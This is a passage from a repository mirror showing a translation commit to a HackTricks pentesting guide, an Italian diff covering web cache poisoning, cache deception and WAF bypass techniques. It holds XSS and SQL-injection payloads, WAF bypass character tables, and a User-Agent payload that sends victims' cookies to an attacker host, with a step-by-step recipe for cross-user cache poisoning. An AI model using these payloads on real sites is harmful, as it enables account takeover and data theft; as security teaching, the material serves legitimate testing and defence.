maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/cache-deception/README.md', 'src/pentest

Browse Source
This commit is contained in:
Translator 2025-08-21 06:07:42 +00:00
parent 7507e3d3f3
commit bba836d2c2
2 changed files with 111 additions and 55 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

88
src/pentesting-web/cache-deception/README.md
View File

@ -6,8 +6,8 @@
> **Qual è la differenza tra web cache poisoning e web cache deception?**
>
> - Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
> - Nel **web cache deception**, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questi contenuti dalla cache.
> - Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
> - Nel **web cache deception**, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.
## Cache Poisoning
@ -21,11 +21,11 @@ L'esecuzione di un attacco di cache poisoning comporta diversi passaggi:
### Scoperta: Controlla le intestazioni HTTP
Di solito, quando una risposta è stata **memorizzata nella cache**, ci sarà un **header che lo indica**, puoi controllare quali intestazioni a cui prestare attenzione in questo post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Di solito, quando una risposta è stata **memorizzata nella cache**, ci sarà un **intestazione che lo indica**, puoi controllare quali intestazioni a cui prestare attenzione in questo post: [**Intestazioni di Cache HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Scoperta: Codici di errore di caching
Se pensi che la risposta venga memorizzata in una cache, potresti provare a **inviare richieste con un header errato**, a cui dovrebbe essere risposto con un **codice di stato 400**. Poi prova ad accedere alla richiesta normalmente e se la **risposta è un codice di stato 400**, sai che è vulnerabile (e potresti persino eseguire un DoS).
Se pensi che la risposta venga memorizzata in una cache, potresti provare a **inviare richieste con un'intestazione errata**, a cui dovrebbe essere risposto con un **codice di stato 400**. Poi prova ad accedere alla richiesta normalmente e se la **risposta è un codice di stato 400**, sai che è vulnerabile (e potresti persino eseguire un DoS).
Puoi trovare ulteriori opzioni in:
@ -45,7 +45,7 @@ Potresti usare [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4
Con il parametro/intestazione identificato, controlla come viene **sanitizzato** e **dove** viene **riflesso** o influisce sulla risposta dall'intestazione. Puoi abusarne in qualche modo (eseguire un XSS o caricare un codice JS controllato da te? eseguire un DoS?...)
### Ottieni la risposta memorizzata nella cache
### Ottenere la risposta memorizzata nella cache
Una volta che hai **identificato** la **pagina** che può essere abusata, quale **parametro**/**intestazione** utilizzare e **come** abusarne, devi ottenere la pagina memorizzata nella cache. A seconda della risorsa che stai cercando di memorizzare nella cache, questo potrebbe richiedere del tempo, potresti dover provare per diversi secondi.
@ -69,7 +69,7 @@ GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Nota che questo avvelenerà una richiesta a `/en?region=uk` e non a `/en`_
_Note che questo avvelenerà una richiesta a `/en?region=uk` e non a `/en`_
### Avvelenamento della cache per DoS
@ -82,7 +82,7 @@ cache-poisoning-to-dos.md
In **[questo articolo](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** viene spiegato il seguente semplice scenario:
- La CDN memorizzerà nella cache qualsiasi cosa sotto `/share/`
- La CDN NON decodificherà né normalizzerà `%2F..%2F`, quindi può essere utilizzata come **path traversal per accedere ad altre posizioni sensibili che verranno memorizzate nella cache** come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- La CDN NON decodificherà né normalizzerà `%2F..%2F`, pertanto, può essere utilizzata come **path traversal per accedere ad altre posizioni sensibili che verranno memorizzate nella cache** come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Il server web DECODIFICHERÀ e NORMALIZZERÀ `%2F..%2F`, e risponderà con `/api/auth/session`, che **contiene il token di autenticazione**.
### Utilizzare l'avvelenamento della cache web per sfruttare vulnerabilità nella gestione dei cookie
@ -122,9 +122,9 @@ Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Sfruttare con un `Vary`header limitato
### Sfruttare con un'intestazione `Vary` limitata
Se hai scoperto che l'**`X-Host`** header viene utilizzato come **nome di dominio per caricare una risorsa JS** ma l'header **`Vary`** nella risposta indica **`User-Agent`**. Allora, devi trovare un modo per esfiltrare il User-Agent della vittima e avvelenare la cache utilizzando quel user agent:
Se hai scoperto che l'intestazione **`X-Host`** viene utilizzata come **nome di dominio per caricare una risorsa JS** ma l'intestazione **`Vary`** nella risposta indica **`User-Agent`**. Allora, devi trovare un modo per esfiltrare l'User-Agent della vittima e avvelenare la cache utilizzando quel user agent:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -142,29 +142,65 @@ Content-Length: 22
report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
C'è un laboratorio di portswigger su questo: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloacking
### Parameter Cloaking
Ad esempio, è possibile separare **parameters** nei server ruby utilizzando il carattere **`;`** invece di **`&`**. Questo potrebbe essere utilizzato per inserire valori di parametri non chiave all'interno di quelli chiave e abusarne.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Laboratorio Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Impara qui come eseguire [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
Scopri qui come eseguire [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Automated testing for Web Cache Poisoning
Il [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) può essere utilizzato per testare automaticamente la web cache poisoning. Supporta molte tecniche diverse ed è altamente personalizzabile.
Il [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) può essere utilizzato per testare automaticamente il web cache poisoning. Supporta molte tecniche diverse ed è altamente personalizzabile.
Esempio di utilizzo: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Questo modello del mondo reale combina un primitivo di riflessione basato su header con il comportamento di CDN/WAF per avvelenare in modo affidabile l'HTML memorizzato nella cache servito ad altri utenti:
- L'HTML principale rifletteva un header di richiesta non attendibile (ad es., `User-Agent`) in un contesto eseguibile.
- Il CDN ha rimosso gli header di cache, ma esisteva una cache interna/origine. Il CDN ha anche memorizzato automaticamente le richieste che terminano in estensioni statiche (ad es., `.js`), mentre il WAF applicava un'ispezione dei contenuti più debole per le GET di asset statici.
- Le peculiarità del flusso di richiesta hanno permesso a una richiesta a un percorso `.js` di influenzare la chiave/variante della cache utilizzata per l'HTML principale successivo, abilitando XSS cross-user tramite riflessione dell'header.
Ricetta pratica (osservata su un popolare CDN/WAF):
1) Da un IP pulito (evitare downgrade basati sulla reputazione precedente), impostare un `User-Agent` malevolo tramite browser o Burp Proxy Match & Replace.
2) In Burp Repeater, preparare un gruppo di due richieste e utilizzare "Invia gruppo in parallelo" (la modalità a pacchetto singolo funziona meglio):
- Prima richiesta: GET un percorso di risorsa `.js` sulla stessa origine mentre si invia il proprio `User-Agent` malevolo.
- Immediatamente dopo: GET la pagina principale (`/`).
3) La corsa di instradamento CDN/WAF più il `.js` memorizzato automaticamente spesso semina una variante HTML memorizzata nella cache avvelenata che viene poi servita ad altri visitatori che condividono le stesse condizioni della chiave di cache (ad es., le stesse dimensioni `Vary` come `User-Agent`).
Esempio di payload dell'header (per esfiltrare cookie non-HttpOnly):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:
- Molti CDN nascondono le intestazioni della cache; il poisoning può apparire solo su cicli di aggiornamento di diverse ore. Usa più IP di vantage e limita la velocità per evitare attivazioni di rate-limit o reputazione.
- Utilizzare un IP dal cloud del CDN stesso a volte migliora la coerenza del routing.
- Se è presente un CSP rigoroso, questo funziona ancora se il riflesso viene eseguito nel contesto HTML principale e il CSP consente l'esecuzione inline o viene bypassato dal contesto.
Impact:
- Se i cookie di sessione non sono `HttpOnly`, è possibile un ATO a zero clic estraendo in massa `document.cookie` da tutti gli utenti a cui viene servito l'HTML avvelenato.
Defenses:
- Smetti di riflettere le intestazioni delle richieste nell'HTML; codifica rigorosamente il contesto se inevitabile. Allinea le politiche di cache del CDN e dell'origine ed evita variazioni su intestazioni non affidabili.
- Assicurati che il WAF applichi l'ispezione dei contenuti in modo coerente alle richieste `.js` e ai percorsi statici.
- Imposta `HttpOnly` (e `Secure`, `SameSite`) sui cookie di sessione.
## Vulnerable Examples
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS ha inoltrato il frammento all'interno dell'URL senza rimuoverlo e ha generato la chiave di cache utilizzando solo l'host, il percorso e la query (ignorando il frammento). Quindi, la richiesta `/#/../?r=javascript:alert(1)` è stata inviata al backend come `/#/../?r=javascript:alert(1)` e la chiave di cache non conteneva il payload, solo host, percorso e query.
ATS ha inoltrato il frammento all'interno dell'URL senza rimuoverlo e ha generato la chiave di cache utilizzando solo l'host, il percorso e la query (ignorando il frammento). Quindi la richiesta `/#/../?r=javascript:alert(1)` è stata inviata al backend come `/#/../?r=javascript:alert(1)` e la chiave di cache non conteneva il payload al suo interno, solo host, percorso e query.
### GitHub CP-DoS
@ -172,11 +208,11 @@ Inviare un valore errato nell'intestazione content-type ha attivato una risposta
### GitLab + GCP CP-DoS
GitLab utilizza i bucket GCP per memorizzare contenuti statici. **GCP Buckets** supportano l'**intestazione `x-http-method-override`**. Quindi era possibile inviare l'intestazione `x-http-method-override: HEAD` e avvelenare la cache per restituire un corpo di risposta vuoto. Potrebbe anche supportare il metodo `PURGE`.
GitLab utilizza i bucket GCP per memorizzare contenuti statici. **I bucket GCP** supportano l'**intestazione `x-http-method-override`**. Quindi era possibile inviare l'intestazione `x-http-method-override: HEAD` e avvelenare la cache per restituire un corpo di risposta vuoto. Potrebbe anche supportare il metodo `PURGE`.
### Rack Middleware (Ruby on Rails)
Nelle applicazioni Ruby on Rails, viene spesso utilizzato il middleware Rack. Lo scopo del codice Rack è prendere il valore dell'intestazione **`x-forwarded-scheme`** e impostarlo come schema della richiesta. Quando viene inviata l'intestazione `x-forwarded-scheme: http`, si verifica un reindirizzamento 301 alla stessa posizione, potenzialmente causando un Denial of Service (DoS) a quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'intestazione `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server di un attaccante, ponendo un rischio per la sicurezza.
Nelle applicazioni Ruby on Rails, il middleware Rack è spesso utilizzato. Lo scopo del codice Rack è prendere il valore dell'intestazione **`x-forwarded-scheme`** e impostarlo come schema della richiesta. Quando viene inviata l'intestazione `x-forwarded-scheme: http`, si verifica un reindirizzamento 301 alla stessa posizione, causando potenzialmente un Denial of Service (DoS) a quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'intestazione `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server di un attaccante, ponendo un rischio per la sicurezza.
### 403 and Storage Buckets
@ -184,15 +220,15 @@ Cloudflare in precedenza memorizzava nella cache le risposte 403. Tentare di acc
### Injecting Keyed Parameters
Le cache spesso includono parametri GET specifici nella chiave di cache. Ad esempio, il Varnish di Fastly memorizzava nella cache il parametro `size` nelle richieste. Tuttavia, se una versione codificata in URL del parametro (ad es., `siz%65`) veniva inviata con un valore errato, la chiave di cache sarebbe stata costruita utilizzando il corretto parametro `size`. Tuttavia, il backend avrebbe elaborato il valore nel parametro codificato in URL. La codifica in URL del secondo parametro `size` ha portato alla sua omissione da parte della cache ma alla sua utilizzazione da parte del backend. Assegnare un valore di 0 a questo parametro ha comportato un errore 400 Bad Request memorizzabile nella cache.
Le cache spesso includono parametri GET specifici nella chiave di cache. Ad esempio, il Varnish di Fastly memorizzava nella cache il parametro `size` nelle richieste. Tuttavia, se una versione codificata in URL del parametro (ad es., `siz%65`) veniva inviata con un valore errato, la chiave di cache sarebbe stata costruita utilizzando il corretto parametro `size`. Tuttavia, il backend avrebbe elaborato il valore nel parametro codificato in URL. La codifica in URL del secondo parametro `size` ha portato alla sua omissione da parte della cache ma al suo utilizzo da parte del backend. Assegnare un valore di 0 a questo parametro ha comportato un errore 400 Bad Request memorizzabile nella cache.
### User Agent Rules
Alcuni sviluppatori bloccano le richieste con user-agent che corrispondono a quelli di strumenti ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironia della sorte, questo approccio può introdurre vulnerabilità come la cache poisoning e il DoS.
Alcuni sviluppatori bloccano le richieste con user-agent che corrispondono a quelli di strumenti ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironia della sorte, questo approccio può introdurre vulnerabilità come il poisoning della cache e DoS.
### Illegal Header Fields
Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo **tchar** specificato dovrebbero idealmente attivare una risposta 400 Bad Request. In pratica, i server non aderiscono sempre a questo standard. Un esempio notevole è Akamai, che inoltra intestazioni con caratteri non validi e memorizza nella cache qualsiasi errore 400, purché l'intestazione `cache-control` non sia presente. È stato identificato un modello sfruttabile in cui l'invio di un'intestazione con un carattere illegale, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.
La [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo **tchar** specificato dovrebbero idealmente attivare una risposta 400 Bad Request. In pratica, i server non aderiscono sempre a questo standard. Un esempio notevole è Akamai, che inoltra intestazioni con caratteri non validi e memorizza nella cache qualsiasi errore 400, purché l'intestazione `cache-control` non sia presente. È stato identificato un modello sfruttabile in cui l'invio di un'intestazione con un carattere illegale, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.
### Finding new headers
@ -200,9 +236,9 @@ Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratter
## Cache Deception
L'obiettivo della Cache Deception è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**.
L'obiettivo del Cache Deception è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**.
Prima di tutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono solitamente **configurate** per essere **salvate** nella **cache.** Pertanto, se accedi a `www.example.com/profile.php/nonexistent.js`, la cache probabilmente memorizzerà la risposta perché vede l'estensione `.js`. Ma, se l'**applicazione** sta **replayando** con i contenuti **sensibili** dell'utente memorizzati in _www.example.com/profile.php_, puoi **rubare** quei contenuti da altri utenti.
Prima di tutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono solitamente **configurate** per essere **salvate** nella **cache.** Pertanto, se accedi a `www.example.com/profile.php/nonexistent.js`, la cache probabilmente memorizzerà la risposta perché vede l'**estensione** `.js`. Ma, se l'**applicazione** sta **riproducendo** i contenuti **sensibili** dell'utente memorizzati in _www.example.com/profile.php_, puoi **rubare** quei contenuti da altri utenti.
Altre cose da testare:
@ -217,13 +253,13 @@ Un altro esempio molto chiaro può essere trovato in questo write-up: [https://h
Nell'esempio, viene spiegato che se carichi una pagina non esistente come _http://www.example.com/home.php/non-existent.css_, il contenuto di _http://www.example.com/home.php_ (**con le informazioni sensibili dell'utente**) verrà restituito e il server della cache salverà il risultato.\
Poi, l'**attaccante** può accedere a _http://www.example.com/home.php/non-existent.css_ nel proprio browser e osservare le **informazioni riservate** degli utenti che hanno accesso prima.
Nota che il **cache proxy** dovrebbe essere **configurato** per **memorizzare nella cache** i file **basati** sull'**estensione** del file (_.css_) e non basato sul content-type. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo MIME `text/css` (che è quello previsto per un file _.css_).
Nota che il **cache proxy** dovrebbe essere **configurato** per **memorizzare** i file **basati** sull'**estensione** del file (_.css_) e non basato sul content-type. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo MIME `text/css` (che è quello previsto per un file _.css_).
Impara qui come eseguire [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Scopri qui come eseguire [Cache Deceptions attacchi abusando di HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatic Tools
- [**toxicache**](https://github.com/xhzeem/toxicache): scanner Golang per trovare vulnerabilità di web cache poisoning in un elenco di URL e testare più tecniche di iniezione.
- [**toxicache**](https://github.com/xhzeem/toxicache): scanner Golang per trovare vulnerabilità di poisoning della cache web in un elenco di URL e testare più tecniche di iniezione.
## References
@ -233,6 +269,8 @@ Impara qui come eseguire [Cache Deceptions attacks abusing HTTP Request Smugglin
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
{{#include ../../banners/hacktricks-training.md}}

78
src/pentesting-web/proxy-waf-protections-bypass.md
View File

@ -21,33 +21,33 @@ Per prevenire bypass, Nginx esegue la normalizzazione del percorso prima di cont
### **NodeJS - Express**
| Nginx Version | **Node.js Bypass Characters** |
| ------------- | ----------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
| Versione Nginx | **Caratteri di Bypass Node.js** |
| -------------- | ------------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Nginx Version | **Flask Bypass Characters** |
| ------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| Versione Nginx | **Caratteri di Bypass Flask** |
| -------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### **Spring Boot**
| Nginx Version | **Spring Boot Bypass Characters** |
| ------------- | --------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
| Versione Nginx | **Caratteri di Bypass Spring Boot** |
| -------------- | ----------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx è configurato per bloccare l'accesso a `/admin.php`, ma è possibile aggirarlo accedendo a `/admin.php/index.php`.
Nginx è configurato per bloccare l'accesso a `/admin.php`, ma è possibile aggirare questo blocco accedendo a `/admin.php/index.php`.
### Come prevenire
```plaintext
@ -74,18 +74,18 @@ deny all;
### Path Confusion
[**In questo post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) si spiega che ModSecurity v3 (fino alla 3.0.12), **ha implementato in modo errato la variabile `REQUEST_FILENAME`** che doveva contenere il percorso accessibile (fino all'inizio dei parametri). Questo perché eseguiva un URL decode per ottenere il percorso.\
[**In questo post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) si spiega che ModSecurity v3 (fino alla 3.0.12), **ha implementato in modo errato la variabile `REQUEST_FILENAME`** che doveva contenere il percorso accessibile (fino all'inizio dei parametri). Questo perché eseguiva un'URL decode per ottenere il percorso.\
Pertanto, una richiesta come `http://example.com/foo%3f';alert(1);foo=` in mod security supporrà che il percorso sia solo `/foo` perché `%3f` viene trasformato in `?` che termina il percorso URL, ma in realtà il percorso che un server riceverà sarà `/foo%3f';alert(1);foo=`.
Le variabili `REQUEST_BASENAME` e `PATH_INFO` sono state anch'esse influenzate da questo bug.
Qualcosa di simile è accaduto nella versione 2 di Mod Security che ha permesso di bypassare una protezione che impediva all'utente di accedere a file con estensioni specifiche relative a file di backup (come `.bak`) semplicemente inviando il punto codificato in URL come `%2e`, per esempio: `https://example.com/backup%2ebak`.
Qualcosa di simile è accaduto nella versione 2 di Mod Security che ha permesso di bypassare una protezione che impediva agli utenti di accedere a file con estensioni specifiche relative ai file di backup (come `.bak`) semplicemente inviando il punto codificato in URL come `%2e`, per esempio: `https://example.com/backup%2ebak`.
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Malformed Header
[Questa ricerca](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menziona che era possibile bypassare le regole AWS WAF applicate sugli header HTTP inviando un header "malformato" che non veniva correttamente analizzato da AWS ma lo era dal server backend.
[Questa ricerca](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menziona che era possibile bypassare le regole AWS WAF applicate sugli header HTTP inviando un header "malformato" che non veniva correttamente analizzato da AWS ma dal server backend.
Ad esempio, inviando la seguente richiesta con un'iniezione SQL nell'header X-Query:
```http
@ -96,17 +96,17 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
È stato possibile bypassare AWS WAF perché non comprendeva che la riga successiva fa parte del valore dell'intestazione mentre il server NODEJS lo faceva (questo è stato risolto).
È stato possibile bypassare AWS WAF perché non comprendeva che la riga successiva fa parte del valore dell'intestazione, mentre il server NODEJS lo faceva (questo è stato risolto).
## Bypass generici del WAF
### Limiti di dimensione della richiesta
### Limiti delle dimensioni delle richieste
Comunemente i WAF hanno un certo limite di lunghezza delle richieste da controllare e se una richiesta POST/PUT/PATCH supera tale limite, il WAF non controllerà la richiesta.
- Per AWS WAF, puoi [**controllare la documentazione**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Dimensione massima di un corpo di richiesta web che può essere ispezionato per le protezioni di Application Load Balancer e AWS AppSync</td><td>8 KB</td></tr><tr><td>Dimensione massima di un corpo di richiesta web che può essere ispezionato per le protezioni di CloudFront, API Gateway, Amazon Cognito, App Runner e Verified Access**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Dimensione massima di un corpo di richiesta web che può essere ispezionata per le protezioni di Application Load Balancer e AWS AppSync</td><td>8 KB</td></tr><tr><td>Dimensione massima di un corpo di richiesta web che può essere ispezionata per le protezioni di CloudFront, API Gateway, Amazon Cognito, App Runner e Verified Access**</td><td>64 KB</td></tr></tbody></table>
- Da [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
@ -123,7 +123,24 @@ Per impostazione predefinita, il WAF ispeziona solo i primi 8KB di una richiesta
Fino a 128KB.
### Offuscamento <a href="#obfuscation" id="obfuscation"></a>
### Lacune nell'ispezione degli asset statici (.js GETs)
Alcuni stack CDN/WAF applicano un'ispezione debole o assente del contenuto alle richieste GET per asset statici (ad esempio percorsi che terminano con `.js`), pur applicando regole globali come il rate limiting e la reputazione IP. Combinato con l'auto-cache delle estensioni statiche, questo può essere abusato per consegnare o seminare varianti dannose che influenzano le risposte HTML successive.
Casi d'uso pratici:
- Invia payload in intestazioni non affidabili (ad es., `User-Agent`) su un GET a un percorso `.js` per evitare l'ispezione del contenuto, quindi richiedi immediatamente l'HTML principale per influenzare la variante memorizzata nella cache.
- Usa un IP fresco/pulito; una volta che un IP è contrassegnato, le modifiche di routing possono rendere la tecnica inaffidabile.
- In Burp Repeater, usa "Invia gruppo in parallelo" (stile pacchetto singolo) per far correre le due richieste (`.js` poi HTML) attraverso lo stesso percorso front-end.
Questo si abbina bene con il poisoning della cache di riflessione dell'intestazione. Vedi:
- {{#ref}}
cache-deception/README.md
{{#endref}}
- [Come ho trovato un takeover di account a 0 clic in un BBP pubblico e l'ho sfruttato per accedere a funzionalità di livello Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### Offuscamento <a href="#ip-rotation" id="ip-rotation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -145,7 +162,7 @@ A seconda dell'implementazione della normalizzazione Unicode (maggiori informazi
Come menzionato in [**questo post del blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), per bypassare i WAF in grado di mantenere un contesto dell'input dell'utente, potremmo abusare delle tecniche WAF per normalizzare effettivamente l'input degli utenti.
Ad esempio, nel post si menziona che **Akamai ha decodificato un input utente 10 volte**. Pertanto, qualcosa come `<input/%2525252525252525253e/onfocus` sarà visto da Akamai come `<input/>/onfocus` che **potrebbe pensare che vada bene poiché il tag è chiuso**. Tuttavia, finché l'applicazione non decodifica l'input 10 volte, la vittima vedrà qualcosa come `<input/%25252525252525253e/onfocus` che è **ancora valido per un attacco XSS**.
Ad esempio, nel post si menziona che **Akamai ha decodificato un input utente 10 volte**. Pertanto, qualcosa come `<input/%2525252525252525253e/onfocus` sarà visto da Akamai come `<input/>/onfocus`, il che **potrebbe far pensare che sia ok poiché il tag è chiuso**. Tuttavia, finché l'applicazione non decodifica l'input 10 volte, la vittima vedrà qualcosa come `<input/%25252525252525253e/onfocus`, che è **ancora valido per un attacco XSS**.
Pertanto, questo consente di **nascondere payload in componenti codificati** che il WAF decodificherà e interpreterà mentre la vittima no.
@ -160,7 +177,7 @@ Nel post vengono suggeriti i seguenti bypass finali:
Si menziona anche che a seconda di **come alcuni WAF comprendono il contesto** dell'input dell'utente, potrebbe essere possibile abusarne. L'esempio proposto nel blog è che Akamai consente(va) di mettere qualsiasi cosa tra `/*` e `*/` (potenzialmente perché questo è comunemente usato come commenti). Pertanto, una SQL injection come `/*'or sleep(5)-- -*/` non verrà catturata e sarà valida poiché `/*` è la stringa iniziale dell'iniezione e `*/` è commentato.
Questi tipi di problemi di contesto possono essere utilizzati anche per **abusare di altre vulnerabilità rispetto a quella prevista** per essere sfruttata dal WAF (ad esempio, questo potrebbe essere utilizzato anche per sfruttare un XSS).
Questi tipi di problemi di contesto possono essere utilizzati anche per **abusare di altre vulnerabilità oltre a quella prevista** per essere sfruttata dal WAF (ad esempio, questo potrebbe essere utilizzato anche per sfruttare un XSS).
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
@ -172,8 +189,8 @@ h2c-smuggling.md
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Genera un URL di gateway API da utilizzare con ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Simile a fireprox
